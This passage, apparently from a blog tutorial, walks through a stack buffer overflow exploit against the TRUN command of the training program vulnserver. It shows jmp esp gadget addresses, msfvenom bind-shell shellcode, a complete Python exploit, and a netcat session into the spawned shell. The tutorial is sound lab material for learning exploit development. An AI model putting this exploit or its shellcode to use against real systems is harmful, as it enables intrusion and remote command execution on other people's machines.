0x625011f7 | 0x625011f7 : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x62501203 | 0x62501203 : jmp esp | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
0x62501205 | 0x62501205 : jmp esp | ascii {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\vagrant\Downloads\vulnserver-master\essfunc.dll)
Found a total of 9 pointers
Now that we have some addresses, let’s update our PoC.
10-------------8<-------------
11payload += b"A" * OFFSET
12payload += struct.pack("<I", 0x62501205) # EIP
13payload += b"C" * (CRASH_LEN - len(payload))
14-------------8<-------------
With that done, we can restart vulnserver and use windbg’s bp
command to set a breakpoint on our jmp esp. This will confirm that everything is working properly up to this point.
bp 0x62501205
With the breakpoint set and vulnserver running, we can rethrow the exploit. When we do, windbg stops at our jmp esp
instruction.
Pressing F10
(step over) once will take us into our C’s, just as expected.
We’re in the final stretch now. All that’s left is to add our payload. We’ll instruct msfvenom
to omit null-bytes when creating our payload.
msfvenom -p windows/shell_bind_tcp LPORT=12345 -f python -v shellcode -b '\x00' EXITFUNC=thread
═══════════════════════════════════════════════════════════════════════════════════════════════
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai chosen with final size 355
Payload size: 355 bytes
Final size of python file: 1998 bytes
shellcode = b""
shellcode += b"\xbb\xed\x65\x39\x9d\xdb\xdb\xd9\x74\x24\xf4"
shellcode += b"\x58\x33\xc9\xb1\x53\x31\x58\x12\x83\xc0\x04"
shellcode += b"\x03\xb5\x6b\xdb\x68\xb9\x9c\x99\x93\x41\x5d"
shellcode += b"\xfe\x1a\xa4\x6c\x3e\x78\xad\xdf\x8e\x0a\xe3"
shellcode += b"\xd3\x65\x5e\x17\x67\x0b\x77\x18\xc0\xa6\xa1"
shellcode += b"\x17\xd1\x9b\x92\x36\x51\xe6\xc6\x98\x68\x29"
shellcode += b"\x1b\xd9\xad\x54\xd6\x8b\x66\x12\x45\x3b\x02"
shellcode += b"\x6e\x56\xb0\x58\x7e\xde\x25\x28\x81\xcf\xf8"
shellcode += b"\x22\xd8\xcf\xfb\xe7\x50\x46\xe3\xe4\x5d\x10"
shellcode += b"\x98\xdf\x2a\xa3\x48\x2e\xd2\x08\xb5\x9e\x21"
shellcode += b"\x50\xf2\x19\xda\x27\x0a\x5a\x67\x30\xc9\x20"
shellcode += b"\xb3\xb5\xc9\x83\x30\x6d\x35\x35\x94\xe8\xbe"
shellcode += b"\x39\x51\x7e\x98\x5d\x64\x53\x93\x5a\xed\x52"
shellcode += b"\x73\xeb\xb5\x70\x57\xb7\x6e\x18\xce\x1d\xc0"
shellcode += b"\x25\x10\xfe\xbd\x83\x5b\x13\xa9\xb9\x06\x7c"
shellcode += b"\x1e\xf0\xb8\x7c\x08\x83\xcb\x4e\x97\x3f\x43"
shellcode += b"\xe3\x50\xe6\x94\x04\x4b\x5e\x0a\xfb\x74\x9f"
shellcode += b"\x03\x38\x20\xcf\x3b\xe9\x49\x84\xbb\x16\x9c"
shellcode += b"\x31\xb3\xb1\x4f\x24\x3e\x01\x20\xe8\x90\xea"
shellcode += b"\x2a\xe7\xcf\x0b\x55\x2d\x78\xa3\xa8\xce\xb6"
shellcode += b"\x0d\x24\x28\xdc\x7d\x60\xe2\x48\xbc\x57\x3b"
shellcode += b"\xef\xbf\xbd\x13\x87\x88\xd7\xa4\xa8\x08\xf2"
shellcode += b"\x82\x3e\x83\x11\x17\x5f\x94\x3f\x3f\x08\x03"
shellcode += b"\xb5\xae\x7b\xb5\xca\xfa\xeb\x56\x58\x61\xeb"
shellcode += b"\x11\x41\x3e\xbc\x76\xb7\x37\x28\x6b\xee\xe1"
shellcode += b"\x4e\x76\x76\xc9\xca\xad\x4b\xd4\xd3\x20\xf7"
shellcode += b"\xf2\xc3\xfc\xf8\xbe\xb7\x50\xaf\x68\x61\x17"
shellcode += b"\x19\xdb\xdb\xc1\xf6\xb5\x8b\x94\x34\x06\xcd"
shellcode += b"\x98\x10\xf0\x31\x28\xcd\x45\x4e\x85\x99\x41"
shellcode += b"\x37\xfb\x39\xad\xe2\xbf\x5a\x4c\x26\xca\xf2"
shellcode += b"\xc9\xa3\x77\x9f\xe9\x1e\xbb\xa6\x69\xaa\x44"
shellcode += b"\x5d\x71\xdf\x41\x19\x35\x0c\x38\x32\xd0\x32"
shellcode += b"\xef\x33\xf1"
After that, we’ll add it to our PoC along with a little nop-sled to keep things smooth.
49-------------8<-------------
50payload += struct.pack("<I", 0x62501205) # EIP
51payload += b"\x90" * 30
52payload += shellcode
53payload += b"C" * (CRASH_LEN - len(payload))
54-------------8<-------------
With our final PoC ready, we can send it and see if it opens a listener for us. Our final exploit code is shown below.
1import struct
2import socket
3
4VULNSRVR_CMD = b"TRUN /.:/ "
5CRASH_LEN = 5011
6OFFSET = 2002
7
8target = ("127.0.0.1", 9999) # vulnserver
9
10# msfvenom -p windows/shell_bind_tcp LPORT=12345 -f python -v shellcode -b '\x00' EXITFUNC=thread
11# Payload size: 355 bytes
12shellcode = b""
13shellcode += b"\xbb\xed\x65\x39\x9d\xdb\xdb\xd9\x74\x24\xf4"
14shellcode += b"\x58\x33\xc9\xb1\x53\x31\x58\x12\x83\xc0\x04"
15shellcode += b"\x03\xb5\x6b\xdb\x68\xb9\x9c\x99\x93\x41\x5d"
16shellcode += b"\xfe\x1a\xa4\x6c\x3e\x78\xad\xdf\x8e\x0a\xe3"
17shellcode += b"\xd3\x65\x5e\x17\x67\x0b\x77\x18\xc0\xa6\xa1"
18shellcode += b"\x17\xd1\x9b\x92\x36\x51\xe6\xc6\x98\x68\x29"
19shellcode += b"\x1b\xd9\xad\x54\xd6\x8b\x66\x12\x45\x3b\x02"
20shellcode += b"\x6e\x56\xb0\x58\x7e\xde\x25\x28\x81\xcf\xf8"
21shellcode += b"\x22\xd8\xcf\xfb\xe7\x50\x46\xe3\xe4\x5d\x10"
22shellcode += b"\x98\xdf\x2a\xa3\x48\x2e\xd2\x08\xb5\x9e\x21"
23shellcode += b"\x50\xf2\x19\xda\x27\x0a\x5a\x67\x30\xc9\x20"
24shellcode += b"\xb3\xb5\xc9\x83\x30\x6d\x35\x35\x94\xe8\xbe"
25shellcode += b"\x39\x51\x7e\x98\x5d\x64\x53\x93\x5a\xed\x52"
26shellcode += b"\x73\xeb\xb5\x70\x57\xb7\x6e\x18\xce\x1d\xc0"
27shellcode += b"\x25\x10\xfe\xbd\x83\x5b\x13\xa9\xb9\x06\x7c"
28shellcode += b"\x1e\xf0\xb8\x7c\x08\x83\xcb\x4e\x97\x3f\x43"
29shellcode += b"\xe3\x50\xe6\x94\x04\x4b\x5e\x0a\xfb\x74\x9f"
30shellcode += b"\x03\x38\x20\xcf\x3b\xe9\x49\x84\xbb\x16\x9c"
31shellcode += b"\x31\xb3\xb1\x4f\x24\x3e\x01\x20\xe8\x90\xea"
32shellcode += b"\x2a\xe7\xcf\x0b\x55\x2d\x78\xa3\xa8\xce\xb6"
33shellcode += b"\x0d\x24\x28\xdc\x7d\x60\xe2\x48\xbc\x57\x3b"
34shellcode += b"\xef\xbf\xbd\x13\x87\x88\xd7\xa4\xa8\x08\xf2"
35shellcode += b"\x82\x3e\x83\x11\x17\x5f\x94\x3f\x3f\x08\x03"
36shellcode += b"\xb5\xae\x7b\xb5\xca\xfa\xeb\x56\x58\x61\xeb"
37shellcode += b"\x11\x41\x3e\xbc\x76\xb7\x37\x28\x6b\xee\xe1"
38shellcode += b"\x4e\x76\x76\xc9\xca\xad\x4b\xd4\xd3\x20\xf7"
39shellcode += b"\xf2\xc3\xfc\xf8\xbe\xb7\x50\xaf\x68\x61\x17"
40shellcode += b"\x19\xdb\xdb\xc1\xf6\xb5\x8b\x94\x34\x06\xcd"
41shellcode += b"\x98\x10\xf0\x31\x28\xcd\x45\x4e\x85\x99\x41"
42shellcode += b"\x37\xfb\x39\xad\xe2\xbf\x5a\x4c\x26\xca\xf2"
43shellcode += b"\xc9\xa3\x77\x9f\xe9\x1e\xbb\xa6\x69\xaa\x44"
44shellcode += b"\x5d\x71\xdf\x41\x19\x35\x0c\x38\x32\xd0\x32"
45shellcode += b"\xef\x33\xf1"
46
47
48payload = VULNSRVR_CMD
49payload += b"A" * OFFSET
50payload += struct.pack("<I", 0x62501205) # EIP
51payload += b"\x90" * 30
52payload += shellcode
53payload += b"C" * (CRASH_LEN - len(payload))
54
55with socket.create_connection(target) as sock:
56 sock.recv(512) # Welcome to Vulnerable Server! ...
57
58 sent = sock.send(payload)
59 print(f"sent {sent} bytes")
After sending the exploit, we can use netcat to connect in to the new listener on port 12345.
nc -vn 127.0.0.1 12345
══════════════════════
(UNKNOWN) [127.0.0.1] 12345 (?) open
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\vagrant\Downloads\vulnserver-master>
Hopefully you found something of use in this post. I’m off to fuzz more vulnserver commands for the next post!